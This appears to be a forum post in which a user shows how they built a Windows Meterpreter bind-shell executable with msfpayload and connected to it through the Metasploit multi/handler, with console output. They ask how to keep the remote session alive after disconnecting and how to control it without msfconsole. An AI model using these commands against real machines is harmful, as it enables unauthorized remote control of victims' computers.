Meterpreter ... HOWTO disconnect from session without exiting meterpreter remote proccess...

I created payload...
msfpayload windows/meterpreter/bind_tcp LPORT=4444 X > bind.exe
after that connected from msfconsole

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST
msf exploit(handler) > exploit
[*] Starting the payload handler...[*] Started bind handler[*] Transmitting intermediate stager for over-sized stage...(191 bytes)[*] Sending stage (2650 bytes)[*] Sleeping before handling stage...[*] Uploading DLL (75787 bytes)...[*] Upload completed.[*] Meterpreter session 1 opened ( ->

meterpreter > help
but I d like to know howto disconnect from remote meterpreter without exiting proccess on remote machine?

scenario: connected to meterpreter > need restart on pc (running msfconsole) > restarted, lets run msfconsole and setup > cant connect because, meterpreter shutdowned

additional question: is there any way how to control mererpreter other than through msfconsole... i mean something more portable... like netcat... because if i want use remote meterpreter i must install ruby, metasploit, setup handler (not much quick)